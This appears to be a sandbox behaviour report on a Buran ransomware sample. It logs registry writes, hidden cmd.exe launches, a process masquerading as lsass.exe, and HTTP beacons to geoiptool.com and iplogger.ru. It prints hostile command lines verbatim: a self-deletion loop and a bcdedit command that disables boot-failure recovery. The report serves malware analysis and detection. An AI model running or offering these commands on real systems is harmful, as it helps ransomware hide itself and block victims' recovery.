Write Value HKEY_CURRENT_USER\Software\Buran\Service value_name = Public Key, data = KlA2kgCuS55F1vldI6k6ykqHECgozbaqnYvqhxsl0Nv2mhkwecZEFLRDd57FuNaKz6j1QYoryzJd+kR0DwyOOcxXETxt3ESK2PdIjzC/IIQLrE8uS6lw5+XjqejNBAPjQcnvob1dUOiH9HjFgliUOe21VNtLrhKuGy2+7fiEVadcon/CqhCTvq5DRGO3fbU3I2WAzuMKrm3haT7HVOBcmCTvOOWTZOQ/iu4FWzodasGk4s1txdK3Q9WiekegT2O06YL9ok1Bujc8QtSLMuGLeqORhAiPWuW0E8HqD62yLEQoxV4kxm4GWXHEXl0hXN5e7CRMzRmvW3yO02W+wgajTvZCa6Lcby2sUe1wyoZZFOREBTaexupVycFFU9+VqgTUxg9p3qPBJASb4UHZs2dgCCo=, size = 409, type = REG_SZ True 1
Fn
Write Value HKEY_CURRENT_USER\Software\Buran\Service value_name = Machine ID, data = 7P9sRIDroCie6X+OVstY4bltF18/E9si5+OwhpHuW908VpWgzHj8qMR5m3Tzhf8bR7Ry7dgH7MBXAO5bO6dVxqcl4GQ8N7LIRdN5pLaF1mZpNU+j7aytWhV7iSDzC80h+0yVBKQIQAjklRBxLj0JyqA02MYMPnseSv3Dvv2SMMCdX01uELEsnq3XjWxtxCJqtsQR3M9CKzKxZ5JWuxdj6LnOii+dhEsYwgrkYnLRnrq/jxmGep8A85ofsllUolkqpSPPm+JUYjokG2vrmFeUDh0rCwLtuHBwqffNEjl8uLC3QJJ3vFLlW/hkmctKNF2aa50+JpUC2Ju9h3sYvNlNCzV3x0opYPDPVut8VrHkBXopzR/35TvE0Wz4C12WFSzE1bEwj688K9qKX90l0HzJq7ZmAHPlGFiXz/3BC2Q5vujl/t4iydHHDr5lqXFFO9ippmb8OYsuMjVJ7fQd6jj0Wr39xBmKItQcnEABtlDTI/7g7YAxAlJgKiJ+JaVde/ne+MO20weHpPEs5O5AEOVRq9DtpIYkXt3s236QcpW3ayBB+kZ0olRSAeow6xLdfrrMAbog13+Ogk6zWaAU13bFW22BNAjQdG3UgNzEquP51RLo5sbyRgpdvJ6YLX3ORCf89VqS5Dlb9H4tKkOHaWkPdAwwfIzrXcIiTxhFeG/1OUZCcwZDP5KdF+MM4/NXoL0BuqAFZua9nwd8um5CLb6X286Ko7vOaWbi3G9vAAeW+yYkBaixGtlsIVlVX7RfXwUOPIGuFf6JbWEKp3nf2WGzX+yuOrpjaFUEgINVN9ldtq7AHt0cpWHnX5J0jiwBzvu1D3CMN3TWWd66aFz4cXQOibAQaGWJ/XQ0Wja+fxYMpj3xLZxpl+e3UcGklQWDFIFKW4vdUqMK6cuF75WnBf3X8sYitV/hHCXgYE6lvpiqiAdXpuPS5Ec6Om3VzGejorLkeMzGbuaWRBuPnQOD3psWxfbHA3k5aub7qp/EyD1KeCEanKj41AS1oSH5Sg0yq5styuwIntLYdgVKaama7ObuzBxkazP42g+brgFtja/1HUPQbS4z/zItmuCIJHXBB8KewGolE5Z6GBRO7W22qWHXcaZHMCcozRaK26QPRr0ZfFAOKog9GG8gVvf9x1qkW9NmfoHjqcQDIeHBENVCjNuU0GKKheefagBMI4btOzZugVlzgBvu4CGMIU+BH6EvDek9C2wgkue1Dpe3BZ5DUN5vxnMUzEd4ZVRPr951C2VGc5qrc5Huzkxmvtj/kPw5LoIZpnNqOI8TZ0rawBRKeVxVUtgyJf6h1j/Vfn2qzOQxbHe+HR1LkfOjhP8k3//XamUR77QgVvX/5YAIyjUF6Q1b/+XL+/eXmkS3rlRFwh58IfhS88N4k/mrIvjX5/8JedT9Z8IaQqX02yjKfOhq1IXhmU2lIy7vr9HrcZ5OGTG8lDbsxXm9Re/hA6tVyMZaXfAocHkIlPu/xLf+BzofE4fWFHVhVcab63u4mKupIPz6ZLxYTWsbZTKALXJSuPq5I5nQvFRH/ZKcQeEvRetIKCeoYw/i5y15rKVXDeG/Wd7gXBhFHXOOm4oi4EgGR5RmQ9Z9H3IXkOPyBwy3Vy6Ox6/39Wt/rYLmG3nbTJxfswlI2i/pmpWYKk54AGkcBt+VMSYFXU+DyL53+I9HZpAKQXqlY8er3y3G6r3xoZqtXVc2ZuHwX0E5bwAh7Ij1YOETJmnKaaDwkQ==, size = 1737, type = REG_SZ True 1
Fn
Write Value HKEY_CURRENT_USER\Software\Buran value_name = Knock, data = 666, size = 4, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Process (17)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\cmd.exe os_pid = 0x8c0, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0x8d8, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0x8f0, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0x908, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0x920, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0x938, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0x950, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0xa08, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0xa3c, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0xa5c, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0xa7c, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0xa9c, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0xabc, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0xad4, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0xaf8, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0xb1c, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0xb40, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Module (32)
»
Operation Module Additional Information Success Count Logfile
Load C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\lsass.ENU base_address = 0x0 False 1
Fn
Load C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\lsass.EN base_address = 0x0 False 1
Fn
Get Handle c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe base_address = 0xcb0000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 1
Fn
Get Handle c:\windows\syswow64\oleaut32.dll base_address = 0x75220000 True 1
Fn
Get Filename c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\lsass.exe, size = 261 True 1
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\lsass.exe, size = 261 True 1
Fn
Get Filename C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\lsass.EN process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\lsass.exe, size = 261 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDiskFreeSpaceExA, address_out = 0x76cb434f True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VariantChangeTypeEx, address_out = 0x75224c28 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarNeg, address_out = 0x7529c802 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarNot, address_out = 0x7529ec66 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarAdd, address_out = 0x75245934 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarSub, address_out = 0x7529d332 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarMul, address_out = 0x7529dbd4 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarDiv, address_out = 0x7529e405 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarIdiv, address_out = 0x7529f00a True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarMod, address_out = 0x7529f15e True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarAnd, address_out = 0x75245a98 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarOr, address_out = 0x7529ecfa True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarXor, address_out = 0x7529ee2e True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarCmp, address_out = 0x7523b0dc True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarI4FromStr, address_out = 0x75236fab True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarR4FromStr, address_out = 0x752401a0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarR8FromStr, address_out = 0x7523699e True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarDateFromStr, address_out = 0x75246ba7 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarCyFromStr, address_out = 0x75266c12 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBoolFromStr, address_out = 0x7523dbd1 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBstrFromCy, address_out = 0x75247fdc True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBstrFromDate, address_out = 0x75237a2a True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBstrFromBool, address_out = 0x75240355 True 1
Fn
User (1)
»
Operation Additional Information Success Count Logfile
Lookup Privilege privilege = SeDebugPrivilege, luid = 20 True 1
Fn
Keyboard (1)
»
Operation Additional Information Success Count Logfile
Get Info type = 0, result_out = 4 True 1
Fn
System (359)
»
Operation Additional Information Success Count Logfile
Sleep duration = 100 milliseconds (0.100 seconds) True 5
Fn
Sleep duration = 10 milliseconds (0.010 seconds) True 342
Fn
Get Time type = Performance Ctr, time = 16282552728 True 1
Fn
Get Time type = Performance Ctr, time = 16875548347 True 1
Fn
Get Time type = Performance Ctr, time = 16875555459 True 1
Fn
Get Time type = Performance Ctr, time = 16875560897 True 1
Fn
Get Time type = Performance Ctr, time = 16875566559 True 1
Fn
Get Time type = Performance Ctr, time = 16875571850 True 1
Fn
Get Time type = Performance Ctr, time = 16875884547 True 1
Fn
Get Time type = Performance Ctr, time = 16875889987 True 1
Fn
Get Time type = Performance Ctr, time = 16875895313 True 1
Fn
Get Time type = Performance Ctr, time = 16875900664 True 1
Fn
Get Time type = Performance Ctr, time = 16875906024 True 1
Fn
Get Info type = Operating System True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String name = TEMP, result_out = C:\Users\5P5NRG~1\AppData\Local\Temp True 2
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 17
Fn
Network Behavior
HTTP Sessions (2)
»
Information Value
Total Data Sent 153 bytes
Total Data Received 965 bytes
Contacted Host Count 2
Contacted Hosts 158.69.67.193, 88.99.66.31
HTTP Session #1
»
Information Value
Server Name geoiptool.com
Server Port 80
Username -
Password -
Data Sent 39 bytes
Data Received 380 bytes
Operation Additional Information Success Count Logfile
Open Session access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = geoiptool.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1 True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = http://geoiptool.com True 1
Fn
Read Response size = 1024, size_out = 1024 True 19
Fn
Data
Read Response size = 1024, size_out = 872 True 1
Fn
Data
Read Response size = 1024, size_out = 0 True 1
Fn
Close Session - True 1
Fn
HTTP Session #2
»
Information Value
User Agent BURAN
Server Name iplogger.ru
Server Port 80
Username -
Password -
Data Sent 114 bytes
Data Received 585 bytes
Operation Additional Information Success Count Logfile
Open Session access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = iplogger.ru, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = 1h7p27.html, accept_types = 0, flags = INTERNET_FLAG_IDN_DIRECT, INTERNET_FLAG_IDN_PROXY True 1
Fn
Add HTTP Request Headers headers = Host: iplogger.ru User-Agent: BURAN Referer: 16C06E83-81AD-7D23-B247-5A57886B0D29 True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = iplogger.ru/1h7p27.html True 1
Fn
Read Response size = 4097, size_out = 116 True 1
Fn
Data
Read Response size = 4097, size_out = 0 True 1
Fn
Close Session - True 1
Fn
Process #6: cmd.exe
143 0
»
Information Value
ID #6
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /c for /l %x in (1,1,999) do ( ping -n 3 127.1 & del "C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe" & if not exist "C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe" exit )
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\
Monitor Start Time: 00:00:42, Reason: Child Process
Unmonitor End Time: 00:00:46, Reason: Self Terminated
Monitor Duration 00:00:03
OS Process Information
»
Information Value
PID 0x840
Parent PID 0x7ac (c:\users\5p5nrgjn0js halpmcxz\desktop\loseless.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 844
Host Behavior
File (91)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop type = file_attributes True 3
Fn
Get Info STD_OUTPUT_HANDLE type = file_type True 16
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe type = file_attributes True 2
Fn
Open STD_OUTPUT_HANDLE - True 51
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Write STD_OUTPUT_HANDLE size = 2 True 4
Fn
Data
Write STD_OUTPUT_HANDLE size = 38 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 1 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 4 True 3
Fn
Data
Write STD_OUTPUT_HANDLE size = 13 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 3 True 4
Fn
Data
Write STD_OUTPUT_HANDLE size = 55 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 59 True 1
Fn
Data
Delete C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe - True 1
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\PING.EXE os_pid = 0x86c, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x4a430000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76c53b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76c4a79d True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-07 15:51:02 (UTC) True 1
Fn
Get Time type = Ticks, time = 107562 True 1
Fn
Get Time type = Performance Ctr, time = 16292790482 True 1
Fn
Environment (21)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Get Environment String name = x in (1,1,999) do ( ping -n 3 127.1 & del "C False 1
Fn
Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000000 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #7: ping.exe
25 1
»
Information Value
ID #7
File Name c:\windows\syswow64\ping.exe
Command Line ping -n 3 127.1
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\
Monitor Start Time: 00:00:42, Reason: Child Process
Unmonitor End Time: 00:00:46, Reason: Self Terminated
Monitor Duration 00:00:03
OS Process Information
»
Information Value
PID 0x86c
Parent PID 0x840 (c:\windows\syswow64\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 870
0x 87C
0x 880
0x 884
Host Behavior
File (16)
»
Operation Filename Additional Information Success Count Logfile
Write STD_OUTPUT_HANDLE size = 20 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 24 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 22 True 3
Fn
Data
Write STD_OUTPUT_HANDLE size = 9 True 9
Fn
Data
Write STD_OUTPUT_HANDLE size = 92 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 97 True 1
Fn
Data
Registry (2)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters value_name = DefaultTTL, data = 0, type = REG_NONE False 1
Fn
Module (1)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\ping.exe base_address = 0xfe0000 True 1
Fn
System (5)
»
Operation Additional Information Success Count Logfile
Sleep duration = 999 milliseconds (0.999 seconds) True 1
Fn
Sleep duration = 1000 milliseconds (1.000 seconds) True 1
Fn
Get Time type = System Time, time = 2019-07-07 15:51:02 (UTC) True 1
Fn
Get Time type = Ticks, time = 107765 True 1
Fn
Get Time type = Performance Ctr, time = 16318168860 True 1
Fn
Network Behavior
ICMP (3)
»
Operation Additional Information Success Count Logfile
Send ICMP Echo source_address = 0.0.0.0, destination_address = 127.0.0.1, timeout = 4000 True 3
Fn
DNS (1)
»
Operation Additional Information Success Count Logfile
Resolve Name host = 127.1, address_out = 127.0.0.1 True 1
Fn
Process #8: cmd.exe
58 0
»
Information Value
ID #8
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:53, Reason: Child Process
Unmonitor End Time: 00:00:54, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0x8c0
Parent PID 0x838 (c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 8C4
Host Behavior
File (15)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Get Info STD_ERROR_HANDLE type = file_type True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Open STD_ERROR_HANDLE - True 3
Fn
Write STD_ERROR_HANDLE size = 98 True 1
Fn
Data
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x4a280000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76c53b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76c4a79d True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-07 15:51:13 (UTC) True 1
Fn
Get Time type = Ticks, time = 118404 True 1
Fn
Get Time type = Performance Ctr, time = 17382084734 True 1
Fn
Environment (13)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 4
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
